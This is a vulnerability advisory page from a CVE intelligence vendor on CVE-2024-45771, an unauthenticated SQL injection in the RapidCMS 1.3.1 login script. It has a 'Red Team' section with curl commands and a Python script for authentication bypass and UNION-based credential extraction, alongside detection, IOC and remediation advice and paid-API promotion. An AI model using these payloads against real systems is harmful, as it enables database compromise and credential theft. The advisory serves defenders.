☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-45771

CVE-2024-45771 SQL Injection in Rapidcms
📅 PUBLISHED: 2024-09-06 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.3.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45771 is a critical SQL injection vulnerability discovered in RapidCMS v1.3.1, specifically within the /resource/runlogin.php endpoint. The vulnerability resides in the password parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to complete database compromise, including extraction of user credentials, session tokens, and other sensitive data. The CVSS score is 0.0 in the NVD data, but based on the nature of the flaw, a realistic score of 9.8 (Critical) is assigned. No official patch exists, and the vendor appears unresponsive, making this a high-priority threat for any organization using RapidCMS.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RapidCMS is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. Organizations should treat this as a supply chain risk if RapidCMS is included in any managed software stack.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Ability to modify or delete data.
  • Availability (A): High (H) – Potential for denial of service via SQL injection.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the runlogin.php script, which handles user authentication. The password parameter is directly concatenated into a SQL query without proper sanitization or parameterized queries. An attacker can inject SQL commands by providing a crafted password string.

Vulnerable Code Snippet (Conceptual):

$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

The attacker can bypass authentication by injecting a SQL tautology, such as:

' OR '1'='1

This transforms the query into:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

This returns all rows, effectively logging the attacker in as the first user (often admin). Further exploitation can extract data using UNION-based or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (RapidCMS v1.3.1):

// /resource/runlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// /resource/runlogin.php
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Better Patched Code (Using Prepared Statements):

// /resource/runlogin.php
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $_POST['username'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install RapidCMS v1.3.1 on a local server (e.g., XAMPP, LAMP).
  2. Ensure the /resource/runlogin.php endpoint is accessible.

Exploitation Steps:

  1. Basic Authentication Bypass:

    curl -X POST http://target/resource/runlogin.php \
      -d "username=admin&password=' OR '1'='1"
    
  2. Extract Database Version (UNION-based):

    curl -X POST http://target/resource/runlogin.php \
      -d "username=admin&password=' UNION SELECT 1,@@version,3,4,5 -- -"
    
  3. Extract User Credentials:

    curl -X POST http://target/resource/runlogin.php \
      -d "username=admin&password=' UNION SELECT 1,username,password,4,5 FROM users -- -"
    

Automated Exploit (Python):

import requests

target = "http://target/resource/runlogin.php"
payload = {
    "username": "admin",
    "password": "' OR '1'='1"
}
response = requests.post(target, data=payload)
if "Login successful" in response.text:
    print("[+] Authentication bypassed!")
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

  • Monitor for SQL injection patterns in POST parameters, especially password field.
  • Look for unusual characters like single quotes ('), double dashes (--), and OR statements.
  • Alert on multiple failed login attempts followed by a successful login with a suspicious payload.

Honeypot:

  • Deploy a fake login page that logs all input and triggers alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /resource/runlogin.php with password parameter containing SQL keywords (OR, UNION, SELECT, --).
    • Source IP addresses performing repeated login attempts with varying payloads.
  • File IOCs:

    • Modified runlogin.php file (if attacker uploads a web shell).
    • Suspicious files in the /resource/ directory (e.g., cmd.php, shell.php).
  • Log IOCs:

    • Web server logs showing 400 or 500 errors on /resource/runlogin.php.
    • Database logs showing unexpected queries with UNION or OR clauses.

Detection Engineering

YARA Rule

YARA RULE
CVE_2024_45771_SQLi_Detection
Detects SQL injection attempts targeting RapidCMS runlogin.php
Reference: CVE-2024-45771
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
SQL Injection Attempt on RapidCMS runlogin.php
Detects SQL injection patterns in POST requests to RapidCMS login endpoint
Logsource: apache · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2024-45771 SQL Injection Attempt on RapidCMS
Protocol: HTTP · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Isolate the RapidCMS instance from the internet if possible.
  2. Apply a WAF rule to block SQL injection patterns on /resource/runlogin.php.
  3. Manually patch the vulnerable code by replacing the query with prepared statements (see patched code above).

Long-term Actions:

  1. Migrate to a supported CMS with active security maintenance.
  2. Conduct a full security audit of the RapidCMS installation.
  3. Monitor for any signs of compromise using the provided IOCs and detection rules.

Vendor Contact:

  • Since the vendor is unresponsive, consider forking the project and applying the fix yourself, or discontinuing use.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 3 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-45771/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.